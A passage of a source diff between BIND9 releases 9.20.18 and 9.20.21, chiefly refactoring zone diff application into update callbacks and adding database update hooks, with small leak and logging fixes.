dns_rdataset_next(modified); - } - INSIST(result == ISC_R_NOMORE); - return (isc_stdtime_t)when; -} - static void getownercase(dns_rdataset_t *rdataset, dns_name_t *name) { if (dns_rdataset_isassociated(rdataset)) { @@ -261,6 +225,91 @@ } } +static isc_result_t +update_rdataset(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name, + dns_rdataset_t *rds, dns_diffop_t op) { + isc_result_t result; + unsigned int options; + dns_rdataset_t ardataset; + dns_dbnode_t *node = NULL; + bool is_resign; + + dns_rdataset_init(&ardataset); + + is_resign = rds->type == dns_rdatatype_rrsig && + (op == DNS_DIFFOP_DELRESIGN || op == DNS_DIFFOP_ADDRESIGN); + + if (rds->type != dns_rdatatype_nsec3 && + rds->covers != dns_rdatatype_nsec3) + { + CHECK(dns_db_findnode(db, name, true, &node)); + } else { + CHECK(dns_db_findnsec3node(db, name, true, &node)); + } + + switch (op) { + case DNS_DIFFOP_ADD: + case DNS_DIFFOP_ADDRESIGN: + options = DNS_DBADD_MERGE | DNS_DBADD_EXACT | + DNS_DBADD_EXACTTTL; + CHECK(dns_db_addrdataset(db, node, ver, 0, rds, options, + &ardataset)); + switch (result) { + case ISC_R_SUCCESS: + case DNS_R_UNCHANGED: + case DNS_R_NXRRSET: + setownercase(&ardataset, name); + CHECK(result); + break; + default: + CHECK(result); + break; + } + break; + case DNS_DIFFOP_DEL: + case DNS_DIFFOP_DELRESIGN: + options = DNS_DBSUB_EXACT | DNS_DBSUB_WANTOLD; + result = dns_db_subtractrdataset(db, node, ver, rds, options, + &ardataset); + switch (result) { + case ISC_R_SUCCESS: + case DNS_R_UNCHANGED: + case DNS_R_NXRRSET: + getownercase(&ardataset, name); + CHECK(result); + break; + default: + CHECK(result); + break; + } + break; + default: + UNREACHABLE(); + } + + if (is_resign) { + isc_stdtime_t resign; + resign = dns_rdataset_minresign(&ardataset); + dns_db_setsigningtime(db, &ardataset, resign); + } + +cleanup: + if (node != NULL) { + dns_db_detachnode(db, &node); + } + if (dns_rdataset_isassociated(&ardataset)) { + dns_rdataset_disassociate(&ardataset); + } + return result; +} + +isc_result_t +update_callback(void *arg, const dns_name_t *name, dns_rdataset_t *rds, + dns_diffop_t op DNS__DB_FLARG) { + dns_updatectx_t *ctx = arg; + return update_rdataset(ctx->db, ctx->ver, (dns_name_t *)name, rds, op); +} + static const char * optotext(dns_diffop_t op) { switch (op) { @@ -278,23 +327,24 @@ } static isc_result_t -diff_apply(const dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *ver, - bool warn) { +diff_apply(const dns_diff_t *diff, dns_rdatacallbacks_t *callbacks) { dns_difftuple_t *t; - dns_dbnode_t *node = NULL; isc_result_t result; char namebuf[DNS_NAME_FORMATSIZE]; char typebuf[DNS_RDATATYPE_FORMATSIZE]; char classbuf[DNS_RDATACLASS_FORMATSIZE]; + dns_updatectx_t *ctx; REQUIRE(DNS_DIFF_VALID(diff)); - REQUIRE(DNS_DB_VALID(db)); + REQUIRE(callbacks != NULL); + REQUIRE(callbacks->update != NULL); + + ctx = callbacks->add_private; t = ISC_LIST_HEAD(diff->tuples); while (t != NULL) { dns_name_t *name; - INSIST(node == NULL); name = &t->name; /* * Find the node. @@ -311,8 +361,6 @@ dns_diffop_t op; dns_rdatalist_t rdl; dns_rdataset_t rds; - dns_rdataset_t ardataset; - unsigned int options; op = t->op; type = t->rdata.type; @@ -340,16 +388,6 @@ rdl.rdclass = t->rdata.rdclass; rdl.ttl = t->ttl; - node = NULL; - if (type != dns_rdatatype_nsec3 && - covers != dns_rdatatype_nsec3) - { - CHECK(dns_db_findnode(db, name, true, &node)); - } else { - CHECK(dns_db_findnsec3node(db, name, true, - &node)); - } - while (t != NULL && dns_name_equal(&t->name, name) && t->op == op && t->rdata.type == type && rdata_covers(&t->rdata) == covers) @@ -359,7 +397,7 @@ * dns_rdataset_setownercase. */ name = &t->name; - if (t->ttl != rdl.ttl && warn) { + if (t->ttl != rdl.ttl && ctx->warn) { dns_name_format(name, namebuf, sizeof(namebuf)); dns_rdatatype_format(t->rdata.type, @@ -387,54 +425,22 @@ * Convert the rdatalist into a rdataset. */ dns_rdataset_init(&rds); - dns_rdataset_init(&ardataset); dns_rdatalist_tordataset(&rdl, &rds); rds.trust = dns_trust_ultimate; /* * Merge the rdataset into the database. */ - switch (op) { - case DNS_DIFFOP_ADD: - case DNS_DIFFOP_ADDRESIGN: - options = DNS_DBADD_MERGE | DNS_DBADD_EXACT | - DNS_DBADD_EXACTTTL; - result = dns_db_addrdataset(db, node, ver, 0, - &rds, options, - &ardataset); - break; - case DNS_DIFFOP_DEL: - case DNS_DIFFOP_DELRESIGN: - options = DNS_DBSUB_EXACT | DNS_DBSUB_WANTOLD; - result = dns_db_subtractrdataset(db, node, ver, - &rds, options, - &ardataset); - break; - default: - UNREACHABLE(); - } + result = callbacks->update(callbacks->add_private, name, + &rds, op DNS__DB_FILELINE); - if (result == ISC_R_SUCCESS) { - if (rds.type == dns_rdatatype_rrsig && - (op == DNS_DIFFOP_DELRESIGN || - op == DNS_DIFFOP_ADDRESIGN)) - { - isc_stdtime_t resign; - resign = setresign(&ardataset); - dns_db_setsigningtime(db, &ardataset, - resign); - } - if (op == DNS_DIFFOP_ADD || - op == DNS_DIFFOP_ADDRESIGN) - { - setownercase(&ardataset, name); - } - if (op == DNS_DIFFOP_DEL || - op == DNS_DIFFOP_DELRESIGN) - { - getownercase(&ardataset, name); - } - } else if (result == DNS_R_UNCHANGED) { + switch (result) { + case ISC_R_SUCCESS: + /* + * OK. + */ + break; + case DNS_R_UNCHANGED: /* * This will not happen when executing a * dynamic update, because that code will @@ -443,87 +449,83 @@ * from a server that is not as careful. * Issue a warning and continue. */ - if (warn) { - dns_name_format(dns_db_origin(db), + if (ctx->warn) { + dns_name_format(dns_db_origin(ctx->db), namebuf, sizeof(namebuf)); - dns_rdataclass_format(dns_db_class(db), - classbuf, - sizeof(classbuf)); + dns_rdataclass_format( + dns_db_class(ctx->db), classbuf, + sizeof(classbuf)); isc_log_write(DIFF_COMMON_LOGARGS, ISC_LOG_WARNING, "%s/%s: dns_diff_apply: " "update with no effect", namebuf, classbuf); } - if (op == DNS_DIFFOP_ADD || - op == DNS_DIFFOP_ADDRESIGN) - { - setownercase(&ardataset, name); - } - if (op == DNS_DIFFOP_DEL || - op == DNS_DIFFOP_DELRESIGN) - { - getownercase(&ardataset, name); - } - } else if (result == DNS_R_NXRRSET) { + result = ISC_R_SUCCESS; + break; + case DNS_R_NXRRSET: /* * OK. */ - if (op == DNS_DIFFOP_DEL || - op == DNS_DIFFOP_DELRESIGN) - { - getownercase(&ardataset, name); - } - if (dns_rdataset_isassociated(&ardataset)) { - dns_rdataset_disassociate(&ardataset); - } - } else { - if (result == DNS_R_NOTEXACT) { - dns_name_format(name, namebuf, - sizeof(namebuf)); - dns_rdatatype_format(type, typebuf, - sizeof(typebuf)); - dns_rdataclass_format(rdclass, classbuf, - sizeof(classbuf)); - isc_log_write( - DIFF_COMMON_LOGARGS, - ISC_LOG_ERROR, - "dns_diff_apply: %s/%s/%s: %s " - "%s", - namebuf, typebuf, classbuf, - optotext(op), - isc_result_totext(result)); - } - if (dns_rdataset_isassociated(&ardataset)) { - dns_rdataset_disassociate(&ardataset); - } - CHECK(result); - } - dns_db_detachnode(db, &node); - if (dns_rdataset_isassociated(&ardataset)) { - dns_rdataset_disassociate(&ardataset); + result = ISC_R_SUCCESS; + break; + case DNS_R_NOTEXACT: + dns_name_format(name, namebuf, sizeof(namebuf)); + dns_rdatatype_format(type, typebuf, + sizeof(typebuf)); + dns_rdataclass_format(rdclass, classbuf, + sizeof(classbuf)); + isc_log_write(DIFF_COMMON_LOGARGS, + ISC_LOG_ERROR, + "dns_diff_apply: %s/%s/%s: %s " + "%s", + namebuf, typebuf, classbuf, + optotext(op), + isc_result_totext(result)); + break; + default: + break; } + + CHECK(result); } } return ISC_R_SUCCESS; cleanup: - if (node != NULL) { - dns_db_detachnode(db, &node); - } return result; } isc_result_t dns_diff_apply(const dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *ver) { - return diff_apply(diff, db, ver, true); + dns_updatectx_t ctx = { .db = db, .ver = ver, .warn = true }; + dns_rdatacallbacks_t callbacks; + dns_rdatacallbacks_init(&callbacks); + callbacks.update = update_callback; + callbacks.add_private = &ctx; + return diff_apply(diff, &callbacks); } isc_result_t dns_diff_applysilently(const dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *ver) { - return diff_apply(diff, db, ver, false); + dns_updatectx_t ctx = { .db = db, .ver = ver, .warn = false }; + dns_rdatacallbacks_t callbacks; + dns_rdatacallbacks_init(&callbacks); + callbacks.update = update_callback; + callbacks.add_private = &ctx; + return diff_apply(diff, &callbacks); +} + +isc_result_t +dns_diff_apply_with_callbacks(const dns_diff_t *diff, + dns_rdatacallbacks_t *callbacks) { + REQUIRE(DNS_DIFF_VALID(diff)); + REQUIRE(callbacks != NULL); + REQUIRE(callbacks->update != NULL); + + return diff_apply(diff, callbacks); } /* XXX this duplicates lots of code in diff_apply(). */ @@ -577,8 +579,9 @@ rds.trust = dns_trust_ultimate; INSIST(op == DNS_DIFFOP_ADD); - result = callbacks->add(callbacks->add_private, name, - &rds DNS__DB_FILELINE); + result = callbacks->update( + callbacks->add_private, name, &rds, + DNS_DIFFOP_ADD DNS__DB_FILELINE); if (result == DNS_R_UNCHANGED) { isc_log_write(DIFF_COMMON_LOGARGS, ISC_LOG_WARNING, diff -Nru bind9-9.20.18/lib/dns/dispatch.c bind9-9.20.21/lib/dns/dispatch.c --- bind9-9.20.18/lib/dns/dispatch.c 2026-01-09 13:39:28.309978174 +0000 +++ bind9-9.20.21/lib/dns/dispatch.c 2026-03-13 22:01:10.860872265 +0000 @@ -917,7 +917,7 @@ create_default_portset(isc_mem_t *mctx, int family, isc_portset_t **portsetp) { in_port_t low, high; - isc_net_getudpportrange(family, &low, &high); + isc_net_getportrange(family, &low, &high); isc_portset_create(mctx, portsetp); isc_portset_addrange(*portsetp, low, high); diff -Nru bind9-9.20.18/lib/dns/dnstap.c bind9-9.20.21/lib/dns/dnstap.c --- bind9-9.20.18/lib/dns/dnstap.c 2026-01-09 13:39:28.310978200 +0000 +++ bind9-9.20.21/lib/dns/dnstap.c 2026-03-13 22:01:10.861872233 +0000 @@ -781,15 +781,6 @@ dm.m.has_response_time_sec = 1; dm.m.response_time_nsec = isc_time_nanoseconds(t); dm.m.has_response_time_nsec = 1; - - /* - * Types RR and FR can fall through and get the query - * time set as well. Any other response type, break. - */ - if (msgtype != DNS_DTTYPE_RR && msgtype != DNS_DTTYPE_FR) { - break; - } - FALLTHROUGH; case DNS_DTTYPE_AQ: case DNS_DTTYPE_CQ: diff -Nru bind9-9.20.18/lib/dns/dst_parse.c bind9-9.20.21/lib/dns/dst_parse.c --- bind9-9.20.18/lib/dns/dst_parse.c 2026-01-09 13:39:28.311978226 +0000 +++ bind9-9.20.21/lib/dns/dst_parse.c 2026-03-13 22:01:10.862872201 +0000 @@ -549,7 +549,7 @@ data = isc_mem_get(mctx, MAXFIELDSIZE); isc_buffer_init(&b, data, MAXFIELDSIZE); - CHECK(isc_base64_tobuffer(lex, &b, -1)); + CHECK(isc_base64_tobuffer(lex, &b, isc_zero_or_more)); isc_buffer_usedregion(&b, &r); priv->elements[n].length = r.length; diff -Nru bind9-9.20.18/lib/dns/gssapictx.c bind9-9.20.21/lib/dns/gssapictx.c --- bind9-9.20.18/lib/dns/gssapictx.c 2026-01-09 13:39:28.312978253 +0000 +++ bind9-9.20.21/lib/dns/gssapictx.c 2026-03-13 22:01:10.863872169 +0000 @@ -777,15 +777,6 @@ CHECK(dns_name_fromtext(principal, &namebuf, dns_rootname, 0, NULL)); - - if (gnamebuf.length != 0U) { - gret = gss_release_buffer(&minor, &gnamebuf); - if (gret != GSS_S_COMPLETE) { - gss_log(3, "failed gss_release_buffer: %s", - gss_error_tostring(gret, minor, buf, - sizeof(buf))); - } - } } else { result = DNS_R_CONTINUE; } @@ -793,6 +784,15 @@ *ctxout = context; cleanup: + if (gnamebuf.length != 0U) { + gret = gss_release_buffer(&minor, &gnamebuf); + if (gret != GSS_S_COMPLETE) { + gss_log(3, "failed gss_release_buffer: %s", + gss_error_tostring(gret, minor, buf, + sizeof(buf))); + } + } + if (gname != NULL) { gret = gss_release_name(&minor, &gname); if (gret != GSS_S_COMPLETE) { diff -Nru bind9-9.20.18/lib/dns/include/dns/adb.h bind9-9.20.21/lib/dns/include/dns/adb.h --- bind9-9.20.18/lib/dns/include/dns/adb.h 2026-01-09 13:39:28.312978253 +0000 +++ bind9-9.20.21/lib/dns/include/dns/adb.h 2026-03-13 22:01:10.864872137 +0000 @@ -196,6 +196,10 @@ * Only look for glue record for static stub. */ #define DNS_ADBFIND_STATICSTUB 0x00001000 +/*% + * This specific find created a fetch + */ +#define DNS_ADBFIND_STARTEDFETCH 0x00010000 /*% * The answers to queries come back as a list of these. diff -Nru bind9-9.20.18/lib/dns/include/dns/callbacks.h bind9-9.20.21/lib/dns/include/dns/callbacks.h --- bind9-9.20.18/lib/dns/include/dns/callbacks.h 2026-01-09 13:39:28.313978279 +0000 +++ bind9-9.20.21/lib/dns/include/dns/callbacks.h 2026-03-13 22:01:10.864872137 +0000 @@ -37,18 +37,18 @@ unsigned int magic; /*% - * dns_load_master calls 'add' when it has an rdataset to add - * to the database. If defined, it calls 'setup' before and - * 'commit' after adding rdatasets. + * dns_load_master calls 'update' when it has an rdataset to update + * in the database. If defined, it calls 'setup' before and + * 'commit' after updating rdatasets. * * Some database implementations will commit each rdataset as - * soon as it's added, in which case 'setup' and 'commit' need + * soon as it's updated, in which case 'setup' and 'commit' need * not be defined. However, other implementations can be * optimized by grouping rdatasets into a transaction; the * setup and commit functions allow this transaction to be * opened and committed. */ - dns_addrdatasetfunc_t add; + dns_addrdatasetfunc_t update; dns_transactionfunc_t setup; dns_transactionfunc_t commit; diff -Nru bind9-9.20.18/lib/dns/include/dns/db.h bind9-9.20.21/lib/dns/include/dns/db.h --- bind9-9.20.18/lib/dns/include/dns/db.h 2026-01-09 13:39:28.314978305 +0000 +++ bind9-9.20.21/lib/dns/include/dns/db.h 2026-03-13 22:01:10.865872105 +0000 @@ -83,6 +83,12 @@ isc_result_t (*beginload)(dns_db_t *db, dns_rdatacallbacks_t *callbacks); isc_result_t (*endload)(dns_db_t *db, dns_rdatacallbacks_t *callbacks); + isc_result_t (*beginupdate)(dns_db_t *db, dns_dbversion_t *ver, + dns_rdatacallbacks_t *callbacks); + isc_result_t (*commitupdate)(dns_db_t *db, + dns_rdatacallbacks_t *callbacks); + isc_result_t (*abortupdate)(dns_db_t *db, + dns_rdatacallbacks_t *callbacks); void (*currentversion)(dns_db_t *db, dns_dbversion_t **versionp); isc_result_t (*newversion)(dns_db_t *db, dns_dbversion_t **versionp); void (*attachversion)(dns_db_t *db, dns_dbversion_t *source, @@ -538,6 +544,91 @@ */ isc_result_t +dns_db_beginupdate(dns_db_t *db, dns_dbversion_t *ver, + dns_rdatacallbacks_t *callbacks); +/*%< + * Begin updating 'db'. + * + * Requires: + * + * \li 'db' is a valid database. + * + * \li 'callbacks' is a pointer to an initialized dns_rdatacallbacks_t + * structure. + * + * Ensures: + * + * \li On success, callbacks->add will be a valid dns_addrdatasetfunc_t + * suitable for updating records in 'db' from IXFR operations. + * callbacks->add_private will be a valid DB update context + * which should be used as 'arg' when callbacks->add is called. + * + * Returns: + * + * \li #ISC_R_SUCCESS + * + * \li Other results are possible, depending upon the database + * implementation used. + */ + +isc_result_t +dns_db_commitupdate(dns_db_t *db, dns_rdatacallbacks_t *callbacks); +/*%< + * Commit the update to 'db'. Must be safe to double-call or call after + * dns_db_abortupdate. + * + * Requires: + * + * \li 'db' is a valid database that is being updated. + * + * \li 'callbacks' is a valid dns_rdatacallbacks_t structure. + * + * \li callbacks->add_private is not NULL and is a valid database update + * context. + * + * Ensures: + * + * \li 'callbacks' is returned to its state prior to calling + * dns_db_beginupdate() + * + * Returns: + * + * \li #ISC_R_SUCCESS + * + * \li Other results are possible, depending upon the database + * implementation used. + */ + +isc_result_t +dns_db_abortupdate(dns_db_t *db, dns_rdatacallbacks_t *callbacks); +/*%< + * Abort the update to 'db'. Must be safe to double-call or call after + * dns_db_commitupdate. Must also be safe to call without having called + * dns_db_beginupdate first. + * + * Requires: + * + * \li 'db' is a valid database that is being updated. + * + * \li 'callbacks' is a valid dns_rdatacallbacks_t structure. + * + * \li callbacks->add_private is not NULL and is a valid database update + * context. + * + * Ensures: + * + * \li 'callbacks' is returned to its state prior to calling + * dns_db_beginupdate() + * + * Returns: + * + * \li #ISC_R_SUCCESS + * + * \li Other results are possible, depending upon the database + * implementation used. + */ + +isc_result_t dns_db_load(dns_db_t *db, const char *filename, dns_masterformat_t format, unsigned int options); /*%< diff -Nru bind9-9.20.18/lib/dns/include/dns/diff.h bind9-9.20.21/lib/dns/include/dns/diff.h --- bind9-9.20.18/lib/dns/include/dns/diff.h 2026-01-09 13:39:28.314978305 +0000 +++ bind9-9.20.21/lib/dns/include/dns/diff.h 2026-03-13 22:01:10.865872105 +0000 @@ -60,14 +60,6 @@ * timeexpire. */ -typedef enum { - DNS_DIFFOP_ADD = 0, /*%< Add an RR. */ - DNS_DIFFOP_DEL = 1, /*%< Delete an RR. */ - DNS_DIFFOP_EXISTS = 2, /*%< Assert RR existence. */ - DNS_DIFFOP_ADDRESIGN = 4, /*%< ADD + RESIGN. */ - DNS_DIFFOP_DELRESIGN = 5 /*%< DEL + RESIGN. */ -} dns_diffop_t; - typedef struct dns_difftuple dns_difftuple_t; typedef ISC_LIST(dns_difftuple_t) dns_difftuplelist_t; @@ -266,6 +258,37 @@ * */ +typedef struct { + dns_db_t *db; + dns_dbversion_t *ver; + bool warn; +} dns_updatectx_t; + +isc_result_t +dns_diff_apply_with_callbacks(const dns_diff_t *diff, + dns_rdatacallbacks_t *callbacks); +/*%< + * Apply 'diff' to the database using the provided callbacks and context. + * The context contains the database, version, and warning flag. + * This allows for custom callback implementations. + * + * Requires: + *\li 'callbacks' points to a valid dns_rdatacallbacks_t structure + *\li 'callbacks->update' is not NULL + */ + +isc_result_t +update_callback(void *arg, const dns_name_t *name, dns_rdataset_t *rds, + dns_diffop_t op DNS__DB_FLARG); +/*%< + * Standard update callback for dns_rdatacallbacks_t. + * Updates a database version by applying DNS record operations. + * Used with dns_updatectx_t context. + * + * Requires: + *\li 'arg' is a valid dns_updatectx_t pointer + */ + isc_result_t dns_diff_load(const dns_diff_t *diff, dns_rdatacallbacks_t *callbacks); /*%< diff -Nru bind9-9.20.18/lib/dns/include/dns/dnstap.h bind9-9.20.21/lib/dns/include/dns/dnstap.h --- bind9-9.20.18/lib/dns/include/dns/dnstap.h 2026-01-09 13:39:28.315978332 +0000 +++ bind9-9.20.21/lib/dns/include/dns/dnstap.h 2026-03-13 22:01:10.866872073 +0000 @@ -55,6 +55,8 @@ * RESOLVER RESPONSE: RR * FORWARDER QUERY: FQ * FORWARDER RESPONSE: FR + * UPDATE QUERY: UQ + * UPDATE RESPONSE: UR */ #define DNS_DTTYPE_SQ 0x0001 diff -Nru bind9-9.20.18/lib/dns/include/dns/message.h bind9-9.20.21/lib/dns/include/dns/message.h --- bind9-9.20.18/lib/dns/include/dns/message.h 2026-01-09 13:39:28.317978384 +0000 +++ bind9-9.20.21/lib/dns/include/dns/message.h 2026-03-13 22:01:10.869871977 +0000 @@ -133,7 +133,7 @@ */ #define DNS_EDNSOPTIONS 7 + DNS_EDE_MAX_ERRORS -#define DNS_MESSAGE_REPLYPRESERVE (DNS_MESSAGEFLAG_RD | DNS_MESSAGEFLAG_CD) +#define DNS_MESSAGE_REPLYPRESERVE (DNS_MESSAGEFLAG_RD | DNS_MESSAGEFLAG_CD) #define DNS_MESSAGEEXTFLAG_REPLYPRESERVE (DNS_MESSAGEEXTFLAG_DO) #define DNS_MESSAGE_HEADERLEN 12 /*%< 6 uint16_t's */ diff -Nru bind9-9.20.18/lib/dns/include/dns/nsec3.h bind9-9.20.21/lib/dns/include/dns/nsec3.h --- bind9-9.20.18/lib/dns/include/dns/nsec3.h 2026-01-09 13:39:28.318978410 +0000 +++ bind9-9.20.21/lib/dns/include/dns/nsec3.h 2026-03-13 22:01:10.869871977 +0000 @@ -29,6 +29,12 @@ #define DNS_NSEC3_MAXITERATIONS 50U /* + * The maximum hash that can be encoded in a single label using + * base32hexnp. floor(63*5/8) + */ +#define NSEC3_MAX_HASH_LENGTH 39 + +/* * hash = 1, flags =1, iterations = 2, salt length = 1, salt = 255 (max) * hash length = 1, hash = 255 (max), bitmap = 8192 + 512 (max) */ diff -Nru bind9-9.20.18/lib/dns/include/dns/rdataset.h bind9-9.20.21/lib/dns/include/dns/rdataset.h --- bind9-9.20.18/lib/dns/include/dns/rdataset.h 2026-01-09 13:39:28.319978436 +0000 +++ bind9-9.20.21/lib/dns/include/dns/rdataset.h 2026-03-13 22:01:10.870871945 +0000 @@ -691,4 +691,17 @@ * Display trust in textual form. */ +isc_stdtime_t +dns_rdataset_minresign(dns_rdataset_t *rdataset); +/*%< + * Return the minimum resign time from an RRSIG rdataset. + * + * This function iterates through all RRSIG records in the rdataset + * and returns the earliest expiration time, which indicates when + * the signatures should be resigned. + * + * Requires: + * \li 'rdataset' is a valid rdataset. + */ + ISC_LANG_ENDDECLS diff -Nru bind9-9.20.18/lib/dns/include/dns/sdlz.h bind9-9.20.21/lib/dns/include/dns/sdlz.h --- bind9-9.20.18/lib/dns/include/dns/sdlz.h 2026-01-09 13:39:28.320978463 +0000 +++ bind9-9.20.21/lib/dns/include/dns/sdlz.h 2026-03-13 22:01:10.872871882 +0000 @@ -332,8 +332,8 @@ */ typedef isc_result_t - dns_sdlz_putsoa_t(dns_sdlzlookup_t *lookup, const char *mname, - const char *rname, uint32_t serial); +dns_sdlz_putsoa_t(dns_sdlzlookup_t *lookup, const char *mname, + const char *rname, uint32_t serial); dns_sdlz_putsoa_t dns_sdlz_putsoa; /*%< * This function may optionally be called from the 'authority' diff -Nru bind9-9.20.18/lib/dns/include/dns/types.h bind9-9.20.21/lib/dns/include/dns/types.h --- bind9-9.20.18/lib/dns/include/dns/types.h 2026-01-09 13:39:28.322978515 +0000 +++ bind9-9.20.21/lib/dns/include/dns/types.h 2026-03-13 22:01:10.873871850 +0000 @@ -183,6 +183,14 @@ typedef enum { dns_hash_sha1 = 1 } dns_hash_t; typedef enum { + DNS_DIFFOP_ADD = 0, /*%< Add an RR. */ + DNS_DIFFOP_DEL = 1, /*%< Delete an RR. */ + DNS_DIFFOP_EXISTS = 2, /*%< Assert RR existence. */ + DNS_DIFFOP_ADDRESIGN = 4, /*%< ADD + RESIGN. */ + DNS_DIFFOP_DELRESIGN = 5 /*%< DEL + RESIGN. */ +} dns_diffop_t; + +typedef enum { dns_fwdpolicy_none = 0, dns_fwdpolicy_first = 1, dns_fwdpolicy_only = 2 @@ -385,6 +393,7 @@ ((x) == dns_trust_additional || (x) == dns_trust_pending_additional) #define DNS_TRUST_GLUE(x) ((x) == dns_trust_glue) #define DNS_TRUST_ANSWER(x) ((x) == dns_trust_answer) +#define DNS_TRUST_SECURE(x) ((x) >= dns_trust_secure) /*% * Name checking severities. @@ -433,8 +442,8 @@ typedef void (*dns_rawdatafunc_t)(dns_zone_t *, dns_masterrawheader_t *); typedef isc_result_t (*dns_addrdatasetfunc_t)(void *arg, const dns_name_t *name, - dns_rdataset_t *rdataset - DNS__DB_FLARG); + dns_rdataset_t *rdataset, + dns_diffop_t op DNS__DB_FLARG); typedef void (*dns_transactionfunc_t)(void *arg); typedef isc_result_t (*dns_additionaldatafunc_t)( diff -Nru bind9-9.20.18/lib/dns/include/dns/validator.h bind9-9.20.21/lib/dns/include/dns/validator.h --- bind9-9.20.18/lib/dns/include/dns/validator.h 2026-01-09 13:39:28.322978515 +0000 +++ bind9-9.20.21/lib/dns/include/dns/validator.h 2026-03-13 22:01:10.873871850 +0000 @@ -151,6 +151,7 @@ bool digest_sha1; uint8_t unsupported_algorithm; uint8_t unsupported_digest; + uint8_t validation_attempts; dns_rdata_t rdata; bool resume; isc_counter_t *nvalidations; diff -Nru bind9-9.20.18/lib/dns/keystore.c bind9-9.20.21/lib/dns/keystore.c --- bind9-9.20.18/lib/dns/keystore.c 2026-01-09 13:39:28.325978594 +0000 +++ bind9-9.20.21/lib/dns/keystore.c 2026-03-13 22:01:10.876871754 +0000 @@ -250,7 +250,7 @@ return result; } isc_log_write(dns_lctx, DNS_LOGCATEGORY_DNSSEC, - DNS_LOGMODULE_DNSSEC, ISC_LOG_ERROR, + DNS_LOGMODULE_DNSSEC, ISC_LOG_DEBUG(3), "keystore: generated PKCS#11 object %s", label); } else { result = dst_key_generate(origin, alg, size, 0, flags, diff -Nru bind9-9.20.18/lib/dns/master.c bind9-9.20.21/lib/dns/master.c --- bind9-9.20.18/lib/dns/master.c 2026-01-09 13:39:28.326978620 +0000 +++ bind9-9.20.21/lib/dns/master.c 2026-03-13 22:01:10.877871722 +0000 @@ -511,7 +511,7 @@ REQUIRE(lctxp != NULL && *lctxp == NULL); REQUIRE(callbacks != NULL); - REQUIRE(callbacks->add != NULL); + REQUIRE(callbacks->update != NULL); REQUIRE(callbacks->error != NULL); REQUIRE(callbacks->warn != NULL); REQUIRE(mctx != NULL); @@ -2948,8 +2948,9 @@ dataset.attributes |= DNS_RDATASETATTR_RESIGN; dataset.resign = resign_fromlist(this, lctx); } - result = callbacks->add(callbacks->add_private, owner, - &dataset DNS__DB_FILELINE); + result = callbacks->update(callbacks->add_private, owner, + &dataset, + DNS_DIFFOP_ADD DNS__DB_FILELINE); if (result == ISC_R_NOMEMORY) { (*error)(callbacks, "dns_master_load: %s", isc_result_totext(result)); diff -Nru bind9-9.20.18/lib/dns/qpcache.c bind9-9.20.21/lib/dns/qpcache.c --- bind9-9.20.18/lib/dns/qpcache.c 2026-01-09 13:39:28.330978725 +0000 +++ bind9-9.20.21/lib/dns/qpcache.c 2026-03-13 22:01:10.881871594 +0000 @@ -3279,7 +3279,7 @@ dns_slabheader_proof_t *noqname = NULL; dns_name_t name = DNS_NAME_INITEMPTY; dns_rdataset_t neg = DNS_RDATASET_INIT, negsig = DNS_RDATASET_INIT; - isc_region_t r1, r2; + isc_region_t r1 = { .base = NULL }, r2 = { .base = NULL }; result = dns_rdataset_getnoqname(rdataset, &name, &neg, &negsig); RUNTIME_CHECK(result == ISC_R_SUCCESS); @@ -3305,6 +3305,14 @@ newheader->noqname = noqname; cleanup: + if (result != ISC_R_SUCCESS) { + if (r1.base != NULL) { + isc_mem_put(mctx, r1.base, r1.length); + } + if (r2.base != NULL) { + isc_mem_put(mctx, r2.base, r2.length); + } + } dns_rdataset_disassociate(&neg); dns_rdataset_disassociate(&negsig); @@ -3318,7 +3326,7 @@ dns_slabheader_proof_t *closest = NULL; dns_name_t name = DNS_NAME_INITEMPTY; dns_rdataset_t neg = DNS_RDATASET_INIT, negsig = DNS_RDATASET_INIT; - isc_region_t r1, r2; + isc_region_t r1 = { .base = NULL }, r2 = { .base = NULL }; result = dns_rdataset_getclosest(rdataset, &name, &neg, &negsig); RUNTIME_CHECK(result == ISC_R_SUCCESS); @@ -3344,6 +3352,14 @@ newheader->closest = closest; cleanup: + if (result != ISC_R_SUCCESS) { + if (r1.base != NULL) { + isc_mem_put(mctx, r1.base, r1.length); + } + if (r2.base != NULL) { + isc_mem_put(mctx, r2.base, r2.length); + } + } dns_rdataset_disassociate(&neg); dns_rdataset_disassociate(&negsig); return result; diff -Nru bind9-9.20.18/lib/dns/qpzone.c bind9-9.20.21/lib/dns/qpzone.c --- bind9-9.20.18/lib/dns/qpzone.c 2026-01-09 13:39:28.331978751 +0000 +++ bind9-9.20.21/lib/dns/qpzone.c 2026-03-13 22:01:10.882871562 +0000 @@ -43,6 +43,8 @@ #include #include #include +#include +#include #include #include #include @@ -102,6 +104,17 @@ typedef struct qpzonedb qpzonedb_t; typedef struct qpznode qpznode_t; +/* + * Qpzone-specific update context that extends dns_updatectx_t, used in IXFR. + */ +typedef struct qpzone_updatectx { + dns_updatectx_t base; + dns_qp_t *qp; + dns_qp_t *nsec; + dns_qp_t *nsec3; + dns_qpread_t qpr; +} qpzone_updatectx_t; + typedef struct qpz_changed { qpznode_t *node; bool dirty; @@ -2045,8 +2058,8 @@ } static isc_result_t -loading_addrdataset(void *arg, const dns_name_t *name, - dns_rdataset_t *rdataset DNS__DB_FLARG) { +loading_addrdataset(void *arg, const dns_name_t *name, dns_rdataset_t *rdataset, + dns_diffop_t op ISC_ATTR_UNUSED DNS__DB_FLARG) { qpz_load_t *loadctx = arg; qpzonedb_t *qpdb = (qpzonedb_t *)loadctx->db; qpznode_t *node = NULL; @@ -2191,7 +2204,7 @@ RWUNLOCK(&qpdb->lock, isc_rwlocktype_write); - callbacks->add = loading_addrdataset; + callbacks->update = loading_addrdataset; callbacks->setup = loading_setup; callbacks->commit = loading_commit; callbacks->add_private = loadctx; @@ -2226,7 +2239,7 @@ RWUNLOCK(&qpdb->lock, isc_rwlocktype_write); } - callbacks->add = NULL; + callbacks->update = NULL; callbacks->setup = NULL; callbacks->commit = NULL; callbacks->add_private = NULL; @@ -2434,37 +2447,82 @@ return ISC_R_SUCCESS; } -static isc_result_t -findnodeintree(qpzonedb_t *qpdb, const dns_name_t *name, bool create, - bool nsec3, dns_dbnode_t **nodep DNS__DB_FLARG) { - isc_result_t result; - qpznode_t *node = NULL; - dns_qpmulti_t *dbtree = nsec3 ? qpdb->nsec3 : qpdb->tree; - dns_qpread_t qpr = { 0 }; +static dns_qp_t * +begin_transaction(dns_qpmulti_t *dbtree, dns_qpread_t *qprp, bool create) { 